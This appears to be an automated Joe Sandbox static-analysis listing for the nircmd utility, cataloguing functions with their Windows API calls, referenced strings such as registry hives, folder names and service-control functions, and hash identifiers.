Opcode ID: 9abfa71ef75f7d638ff01bad16b0735d36e9e6dd0787ff677aeb7262dac5c1e7
Instruction ID: 586b292cae3c7236d704391288e737e9a81ef9a250587a0436488aae1d98b5ab
Opcode Fuzzy Hash: 9abfa71ef75f7d638ff01bad16b0735d36e9e6dd0787ff677aeb7262dac5c1e7
Instruction Fuzzy Hash: 72D1F7B420860184FA33F717A6D47F916A2B75E7C8F844022BF854F6B7EB7AC5498312

Function 0000000140009A40 Relevance: 84.3, APIs: 35, Strings: 13, Instructions: 282
stringwindowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140009A96
GetWindowTextA.USER32 ref: 0000000140009AA9
strlen.MSVCRT ref: 0000000140009AC0
_stricmp.MSVCRT ref: 0000000140009AEF
_stricmp.MSVCRT ref: 0000000140009B03
_stricmp.MSVCRT ref: 0000000140009B1A
_strnicmp.MSVCRT ref: 0000000140009B31
_stricmp.MSVCRT ref: 0000000140009B4A
_stricmp.MSVCRT ref: 0000000140009B77
strlen.MSVCRT ref: 0000000140009B8B
strlen.MSVCRT ref: 0000000140009B9D
_strnicmp.MSVCRT ref: 0000000140009BB6
_stricmp.MSVCRT ref: 0000000140009BD6
GetWindowLongA.USER32 ref: 0000000140009BF1
_stricmp.MSVCRT ref: 0000000140009C0B
memset.MSVCRT ref: 0000000140009C25
GetClassNameA.USER32 ref: 0000000140009C38
_stricmp.MSVCRT ref: 0000000140009C46
_stricmp.MSVCRT ref: 0000000140009C5A
IsWindowVisible.USER32 ref: 0000000140009C6A
GetWindowThreadProcessId.USER32 ref: 0000000140009C8B
memset.MSVCRT ref: 0000000140009CD3

Part of subcall function 000000014001223C: OpenProcess.KERNEL32(?,0000000140012699), ref: 0000000140012286
Part of subcall function 000000014001223C: CloseHandle.KERNEL32 ref: 00000001400122DC

_stricmp.MSVCRT ref: 0000000140009D19
_stricmp.MSVCRT ref: 0000000140009D52
IsWindowVisible.USER32 ref: 0000000140009D5E
GetWindowRect.USER32 ref: 0000000140009D70
_stricmp.MSVCRT ref: 0000000140009D97
IsWindowVisible.USER32 ref: 0000000140009DA7
memset.MSVCRT ref: 0000000140009DCA
GetClassNameA.USER32 ref: 0000000140009DDA
_stricmp.MSVCRT ref: 0000000140009DEC
_stricmp.MSVCRT ref: 0000000140009E01
_stricmp.MSVCRT ref: 0000000140009E16
GetWindowRect.USER32 ref: 0000000140009E27
_stricmp.MSVCRT ref: 0000000140009E4E

Strings

process, xrefs: 0000000140009C50
button, xrefs: 0000000140009E0A
progman, xrefs: 0000000140009DE0
stitle, xrefs: 0000000140009B10
all, xrefs: 0000000140009E44
ititle, xrefs: 0000000140009B40
alltop, xrefs: 0000000140009D3E
etitle, xrefs: 0000000140009B6D
class, xrefs: 0000000140009C01
title, xrefs: 0000000140009ADB
alltopnodesktop, xrefs: 0000000140009D8D
shell_traywnd, xrefs: 0000000140009DF5
Failed to load the process library !, xrefs: 0000000140009D26

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$Window$memset$Visiblestrlen$ClassNameProcessRect_strnicmp$CloseHandleLongOpenTextThread
String ID: Failed to load the process library !$all$alltop$alltopnodesktop$button$class$etitle$ititle$process$progman$shell_traywnd$stitle$title
API String ID: 4153955639-424509323
Opcode ID: d9f3fe5908264a6c0b6f314ec0262b687ee55f1a90f8b8ba82be27fa541aa2f7
Instruction ID: a35943e2c190f0362e0fb30fdff4f0a4967e4d889f383578cc40d30c7811ac33
Opcode Fuzzy Hash: d9f3fe5908264a6c0b6f314ec0262b687ee55f1a90f8b8ba82be27fa541aa2f7
Instruction Fuzzy Hash: 7CC181B131868186FB52EB27E4807D96391BB8DBC5F855021FF0A8F6A6EF79C905C700

Function 0000000140007A34 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCRT(?,?,?,000000014000796A,?,?,?,0000000140006868), ref: 0000000140007A4D
_stricmp.MSVCRT(?,?,?,000000014000796A,?,?,?,0000000140006868), ref: 0000000140007A6A

Strings

startup, xrefs: 0000000140007AF1
common_startup, xrefs: 0000000140007B9F
common_favorites, xrefs: 0000000140007BB9
favorites, xrefs: 0000000140007B65
cookies, xrefs: 0000000140007B48
programfiles, xrefs: 0000000140007BD3
appdata, xrefs: 0000000140007B0E
localappdata, xrefs: 0000000140007B2B
start_menu, xrefs: 0000000140007AB7
common_programs, xrefs: 0000000140007A7D
recent, xrefs: 0000000140007B82
common_desktop, xrefs: 0000000140007A41
programs, xrefs: 0000000140007AD4
common_programfiles, xrefs: 0000000140007BED
common_start_menu, xrefs: 0000000140007A60
desktop, xrefs: 0000000140007A9A
mydocuments, xrefs: 0000000140007C07

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp
String ID: appdata$common_desktop$common_favorites$common_programfiles$common_programs$common_start_menu$common_startup$cookies$desktop$favorites$localappdata$mydocuments$programfiles$programs$recent$start_menu$startup
API String ID: 2884411883-967716430
Opcode ID: bf5ec251c9ea9e39a30859fb856664287b19f3ed4b695ca1d824430e38975b76
Instruction ID: eb0f4245ef0181a247808bc7761b251c1f7249733d235826eb4b59dba5eac938
Opcode Fuzzy Hash: bf5ec251c9ea9e39a30859fb856664287b19f3ed4b695ca1d824430e38975b76
Instruction Fuzzy Hash: 2C51D5F070820090FA26EB07A5C0BFC5351A74D7C8F904426FB1A4F6F6DB7DCA899212

Function 0000000140012EA4 Relevance: 52.6, APIs: 18, Strings: 12, Instructions: 150
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140012F06
memcpy.MSVCRT ref: 0000000140012F19
strlen.MSVCRT ref: 0000000140012F28
strcmp.MSVCRT ref: 0000000140012F4E
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140012F5F
GetModuleHandleA.KERNEL32 ref: 0000000140012F77
GetProcAddress.KERNEL32 ref: 0000000140012F87
strcmp.MSVCRT ref: 0000000140012FBB
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140012FDE
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140012FF7
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140013010
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140013029
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140013042
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140013057
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 000000014001306C
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140013081
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 0000000140013096
_stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000014000CD5C), ref: 00000001400130AB

Strings

HKEY_CURRENT_USER, xrefs: 0000000140013004
HKEY_USERS, xrefs: 0000000140013060
HKU, xrefs: 0000000140013075
HKEY_CURRENT_CONFIG, xrefs: 000000014001308A
HKEY_CLASSES_ROOT, xrefs: 0000000140013036
kernel32, xrefs: 0000000140012F6D
IsWow64Process, xrefs: 0000000140012F7D
HKLM, xrefs: 0000000140012FEB
HKEY_LOCAL_MACHINE, xrefs: 0000000140012FD2
HKCC, xrefs: 000000014001309F
HKCR, xrefs: 000000014001304B
HKCU, xrefs: 000000014001301D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$strcmp$AddressCurrentHandleModuleProcProcessmemcpymemsetstrlen
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU$IsWow64Process$kernel32
API String ID: 2141036351-2266215105
Opcode ID: 5a9b4d2ebfcb7ca27c116e400d554c9e65084c889a8cc568ed75fa38b54fe3c8
Instruction ID: 03e0c9fc1ac73ad18f62884833f2f8505307ad101f7cb9fdc7626c37a46b7a22
Opcode Fuzzy Hash: 5a9b4d2ebfcb7ca27c116e400d554c9e65084c889a8cc568ed75fa38b54fe3c8
Instruction Fuzzy Hash: 3A61527120864591FA239B67D8503E963A0B78D7D9F844221FB9D4F2FAEB3EC649C701

Function 0000000140006000 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 154
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140006035
memcpy.MSVCRT ref: 000000014000607D
strcpy.MSVCRT ref: 0000000140006093
_stricmp.MSVCRT ref: 00000001400060A9
_stricmp.MSVCRT ref: 00000001400060C8
_stricmp.MSVCRT ref: 00000001400060E7

Strings

ext, xrefs: 00000001400060FA
plus, xrefs: 0000000140006119
tab, xrefs: 0000000140006173
enter, xrefs: 0000000140006155
esc, xrefs: 0000000140006191
del, xrefs: 00000001400061C7
ins, xrefs: 00000001400061AC
shift, xrefs: 00000001400060DB
ctrl, xrefs: 00000001400060BC
spc, xrefs: 0000000140006137
alt, xrefs: 000000014000609D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$memcpymemsetstrcpy
String ID: alt$ctrl$del$enter$esc$ext$ins$plus$shift$spc$tab
API String ID: 3459562133-135616249
Opcode ID: 6e422e7c37258ca0749c572ea6fdf11ec55f6ebd975a3a4db1ea66ae77a3b171
Instruction ID: 42eaff5a021c40af156afd777bea661533bdfda3d418ec6d98fbf7e106bc669d
Opcode Fuzzy Hash: 6e422e7c37258ca0749c572ea6fdf11ec55f6ebd975a3a4db1ea66ae77a3b171
Instruction Fuzzy Hash: 495175B1248A4690FA32EB23E4403EA6762F79D3C8F844111BB995F5F6EB39CA45D700

Function 0000000140002304 Relevance: 43.9, APIs: 14, Strings: 11, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002352
wcscpy.MSVCRT ref: 000000014000238E
_wcsicmp.MSVCRT ref: 000000014000239D
_wcsicmp.MSVCRT ref: 00000001400023B0
wcscpy.MSVCRT ref: 00000001400023C5
_wcsicmp.MSVCRT ref: 00000001400023D4
_wcsicmp.MSVCRT ref: 00000001400023E7
wcscpy.MSVCRT ref: 00000001400023FC
_wcsicmp.MSVCRT ref: 000000014000240B
wcscpy.MSVCRT ref: 0000000140002420
malloc.MSVCRT ref: 0000000140002467
wcscmp.MSVCRT ref: 00000001400024B4
free.MSVCRT ref: 00000001400024D0
free.MSVCRT ref: 0000000140002506

Strings

.bmp, xrefs: 0000000140002401
.tiff, xrefs: 00000001400023CA
.jpeg, xrefs: 00000001400023A6
image/png, xrefs: 0000000140002319
image/gif, xrefs: 0000000140002382
.tif, xrefs: 00000001400023DD
image/jpeg, xrefs: 00000001400023B9
image/tiff, xrefs: 00000001400023F0
image/bmp, xrefs: 0000000140002414
.jpg, xrefs: 0000000140002393
.gif, xrefs: 000000014000236F

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _wcsicmp$wcscpy$free$mallocmemsetwcscmp
String ID: .bmp$.gif$.jpeg$.jpg$.tif$.tiff$image/bmp$image/gif$image/jpeg$image/png$image/tiff
API String ID: 3849900952-929284103
Opcode ID: 8e54a8f5abe41eb2a71239e0af0c8cc42f9c5d87c669eb7520c0b3f8e42a5a5c
Instruction ID: 4e8253b579e92e325f360c18bfa193e519d52dcbe52212e0b334d528a247a820
Opcode Fuzzy Hash: 8e54a8f5abe41eb2a71239e0af0c8cc42f9c5d87c669eb7520c0b3f8e42a5a5c
Instruction Fuzzy Hash: 2F513772204B8185EA66EB27E8903D963A0F78C7C5F844125BF4D4B6B6EF7ACA45C700

Function 0000000140002060 Relevance: 38.6, APIs: 11, Strings: 11, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000000140002083
GetProcAddress.KERNEL32 ref: 000000014000209F
GetProcAddress.KERNEL32 ref: 00000001400020B3
GetProcAddress.KERNEL32 ref: 00000001400020C7
GetProcAddress.KERNEL32 ref: 00000001400020DB
GetProcAddress.KERNEL32 ref: 00000001400020EF
GetProcAddress.KERNEL32 ref: 0000000140002103
GetProcAddress.KERNEL32 ref: 0000000140002117
GetProcAddress.KERNEL32 ref: 000000014000212B
GetProcAddress.KERNEL32 ref: 000000014000213F
GetProcAddress.KERNEL32 ref: 0000000140002153

Strings

GDIPlus.dll, xrefs: 000000014000207C
GdipCreateBitmapFromFile, xrefs: 0000000140002148
GdipLoadImageFromFile, xrefs: 0000000140002120
GdipCreateBitmapFromHBITMAP, xrefs: 00000001400020F8
GdiplusStartup, xrefs: 0000000140002095
GdipSaveImageToFile, xrefs: 00000001400020BC
GdipGetImageEncoders, xrefs: 00000001400020E4
GdiplusShutdown, xrefs: 00000001400020A8
GdipGetImageEncodersSize, xrefs: 00000001400020D0
GdipDisposeImage, xrefs: 000000014000210C
GdipCreateHBITMAPFromBitmap, xrefs: 0000000140002134

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GDIPlus.dll$GdipCreateBitmapFromFile$GdipCreateBitmapFromHBITMAP$GdipCreateHBITMAPFromBitmap$GdipDisposeImage$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipLoadImageFromFile$GdipSaveImageToFile$GdiplusShutdown$GdiplusStartup
API String ID: 2238633743-2224569043
Opcode ID: d996370c4debf284b02148ee346fe787d3db98b36d7b45c99d847acb80946ca3
Instruction ID: 1bec540ea7c8356643ada24de899d2b38e87fa2c9731069a32b938b8c5152827
Opcode Fuzzy Hash: d996370c4debf284b02148ee346fe787d3db98b36d7b45c99d847acb80946ca3
Instruction Fuzzy Hash: B4319175205F42A2EB12DB5AE98439833B5F78C780F509016EB5D4B764EF7AD178C300

Function 0000000140013490 Relevance: 36.9, APIs: 11, Strings: 10, Instructions: 101stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00000001400134D7
strlen.MSVCRT ref: 0000000140013500
??2@YAPEAX_K@Z.MSVCRT ref: 000000014001350B
_memicmp.MSVCRT ref: 0000000140013520
_memicmp.MSVCRT ref: 000000014001353F
strcpy.MSVCRT ref: 00000001400135B2
strcat.MSVCRT ref: 00000001400135C2
??3@YAXPEAX@Z.MSVCRT ref: 00000001400135DC

Strings

HKEY_CURRENT_USER, xrefs: 0000000140013548
HKEY_USERS, xrefs: 00000001400135A8
HKU, xrefs: 000000014001358F
HKEY_CURRENT_CONFIG, xrefs: 0000000140013586
HKEY_CLASSES_ROOT, xrefs: 0000000140013567
HKLM, xrefs: 0000000140013510
HKEY_LOCAL_MACHINE, xrefs: 0000000140013529
HKCC, xrefs: 0000000140013570
HKCR, xrefs: 0000000140013551
HKCU, xrefs: 0000000140013532

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _memicmp$??2@??3@strcatstrchrstrcpystrlen
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 4235429862-909552448
Opcode ID: e2e1c1ba4afc3aec1d0eb2bcaf5f7ee809e6f2d43bf666a5f212ea4694f24003
Instruction ID: 598543e5feca7aa7acf38441ceb326934bc0558f49e494268c5133010f56fa43
Opcode Fuzzy Hash: e2e1c1ba4afc3aec1d0eb2bcaf5f7ee809e6f2d43bf666a5f212ea4694f24003
Instruction Fuzzy Hash: 86419070209A4081FB16EB17A9513E92792A74EFC4F844021FF4A4F7B6EF7EC6468304

Function 0000000140013728 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000000140013733
GetProcAddress.KERNEL32 ref: 0000000140013753
GetProcAddress.KERNEL32 ref: 000000014001376E
GetProcAddress.KERNEL32 ref: 0000000140013789
GetProcAddress.KERNEL32 ref: 00000001400137A4
GetProcAddress.KERNEL32 ref: 00000001400137BF
GetProcAddress.KERNEL32 ref: 00000001400137DA
GetProcAddress.KERNEL32 ref: 00000001400137F5
GetProcAddress.KERNEL32 ref: 0000000140013810
GetProcAddress.KERNEL32 ref: 000000014001382B

Strings

QueryServiceConfigA, xrefs: 00000001400137B1
OpenSCManagerA, xrefs: 0000000140013749
advapi32.dll, xrefs: 000000014001372C
EnumServicesStatusA, xrefs: 00000001400137E7
QueryServiceStatus, xrefs: 000000014001381D
ChangeServiceConfigA, xrefs: 000000014001377B
StartServiceA, xrefs: 0000000140013802
OpenServiceA, xrefs: 0000000140013760
ControlService, xrefs: 00000001400137CC
CloseServiceHandle, xrefs: 0000000140013796

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: ChangeServiceConfigA$CloseServiceHandle$ControlService$EnumServicesStatusA$OpenSCManagerA$OpenServiceA$QueryServiceConfigA$QueryServiceStatus$StartServiceA$advapi32.dll
API String ID: 2238633743-2061868645
Opcode ID: 220d6a12f5d4a0cf41183c0e817fa3b38a47c55e93e0454996570b43e0413bdd
Instruction ID: ff4856ff5c30fe739e3524e4a1c80e4c23632d1d59cc2534aa63bd54212d3b22
Opcode Fuzzy Hash: 220d6a12f5d4a0cf41183c0e817fa3b38a47c55e93e0454996570b43e0413bdd
Instruction Fuzzy Hash: 81410734505F51A0EB579B1BE8983E433A2F78E7D8F440116FA4A8B2B0EF7E8588C311

Function 0000000140005E4C Relevance: 33.3, APIs: 10, Strings: 9, Instructions: 77COMMON

Download Yara Rule

APIs

_stricmp.MSVCRT ref: 0000000140005E5C
_stricmp.MSVCRT ref: 0000000140005E79

Strings

microphone, xrefs: 0000000140005EC6
waveout, xrefs: 0000000140005E6F
wavein, xrefs: 0000000140005F4B
phone, xrefs: 0000000140005EE3
aux, xrefs: 0000000140005EFD
synth, xrefs: 0000000140005E8C
headphones, xrefs: 0000000140005F31
line, xrefs: 0000000140005F17
master, xrefs: 0000000140005E52

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp
String ID: aux$headphones$line$master$microphone$phone$synth$wavein$waveout
API String ID: 2884411883-1911086473
Opcode ID: c42ed021920e311820d8d69cee748f9158c37a999edcc09722a4616b37bb707b
Instruction ID: 50eafc804a200018c1485bf9b000a06f9eeb1643703ca0d42c5fa779217599ec
Opcode Fuzzy Hash: c42ed021920e311820d8d69cee748f9158c37a999edcc09722a4616b37bb707b
Instruction Fuzzy Hash: 1A31C4B031424391FA17F627AD453FA1255679E7C6F885032BF468F2B6FA7EC9848201

Function 0000000140011C7C Relevance: 31.5, APIs: 9, Strings: 9, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000000140011C95
GetProcAddress.KERNEL32 ref: 0000000140011CAC
GetProcAddress.KERNEL32 ref: 0000000140011CC7
GetProcAddress.KERNEL32 ref: 0000000140011CE2
GetProcAddress.KERNEL32 ref: 0000000140011CFD
GetProcAddress.KERNEL32 ref: 0000000140011D18
GetProcAddress.KERNEL32 ref: 0000000140011D33
GetProcAddress.KERNEL32 ref: 0000000140011D4E
GetProcAddress.KERNEL32 ref: 0000000140011D69

Strings

NtQueryObject, xrefs: 0000000140011D25
ntdll.dll, xrefs: 0000000140011C8E
NtQuerySystemInformation, xrefs: 0000000140011C9B
NtResumeProcess, xrefs: 0000000140011D5B
NtLoadDriver, xrefs: 0000000140011CB9
NtOpenSymbolicLinkObject, xrefs: 0000000140011CEF
NtQuerySymbolicLinkObject, xrefs: 0000000140011D0A
NtSuspendProcess, xrefs: 0000000140011D40
NtUnloadDriver, xrefs: 0000000140011CD4

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
API String ID: 667068680-2887671607
Opcode ID: 0747091873b1feb192102cf35764ce19c5cec60a8ad56001e0c04282ef4e160e
Instruction ID: 4bda61860724a2677fab9a8476a53cf0087da7959cea70fd98659846d7cefe2a
Opcode Fuzzy Hash: 0747091873b1feb192102cf35764ce19c5cec60a8ad56001e0c04282ef4e160e
Instruction Fuzzy Hash: E1214634649F56A1EA02DB17F8843C033B5BB8E7D4F841116EA0A4B630EF7EC299C345

Function 000000014000B020 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 186sleepCOMMON

Download Yara Rule

APIs

_stricmp.MSVCRT(?,?,?,?,?,?,?,?), ref: 000000014000B191
_stricmp.MSVCRT(?,?,?,?,?,?,?,?), ref: 000000014000B1AB
_stricmp.MSVCRT(?,?,?,?,?,?,?,?), ref: 000000014000B1C2
Sleep.KERNEL32(?,?,?,?,?,?,?,?), ref: 000000014000B1ED

Strings

cmdwait, xrefs: 000000014000B1B8
remote, xrefs: 000000014000B22C
paramsfile, xrefs: 000000014000B1A1
multiremote, xrefs: 000000014000B250
D8U, xrefs: 000000014000B09D
qboxcom, xrefs: 000000014000B274
showerror, xrefs: 000000014000B180
loop, xrefs: 000000014000B201

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$Sleep
String ID: D8U$cmdwait$loop$multiremote$paramsfile$qboxcom$remote$showerror
API String ID: 1567616336-3420881610
Opcode ID: db635e5d4d8bc2a0a7db3f722b2340cbad5d34a2c5bdddad21282dad8ec80874
Instruction ID: 923186fc3dc26fa67c8ceec125f5c9beb448bedef99086930392639462003345
Opcode Fuzzy Hash: db635e5d4d8bc2a0a7db3f722b2340cbad5d34a2c5bdddad21282dad8ec80874
Instruction Fuzzy Hash: F571D0F260468486EA63DF27B8843EE37A5F3287C8F504421EF564B6B1EB79D586C304

Function 000000014000B069 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 171sleepCOMMON

Download Yara Rule

APIs

_stricmp.MSVCRT(?,?,?,?,?,?,?,?), ref: 000000014000B191
_stricmp.MSVCRT(?,?,?,?,?,?,?,?), ref: 000000014000B1AB
_stricmp.MSVCRT(?,?,?,?,?,?,?,?), ref: 000000014000B1C2
Sleep.KERNEL32(?,?,?,?,?,?,?,?), ref: 000000014000B1ED

Strings

cmdwait, xrefs: 000000014000B1B8
remote, xrefs: 000000014000B22C
paramsfile, xrefs: 000000014000B1A1
multiremote, xrefs: 000000014000B250
D8U, xrefs: 000000014000B09D
qboxcom, xrefs: 000000014000B274
showerror, xrefs: 000000014000B180
loop, xrefs: 000000014000B201

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$Sleep
String ID: D8U$cmdwait$loop$multiremote$paramsfile$qboxcom$remote$showerror
API String ID: 1567616336-3420881610
Opcode ID: 8bdf148e4bbfd716d7f5b1712cf604f001df6feec86b55b111edd74c5c46750d
Instruction ID: a6a51bc05b09784e161f33345eeeffdcf3b4cf1b13f42e3cb9729208196c52da
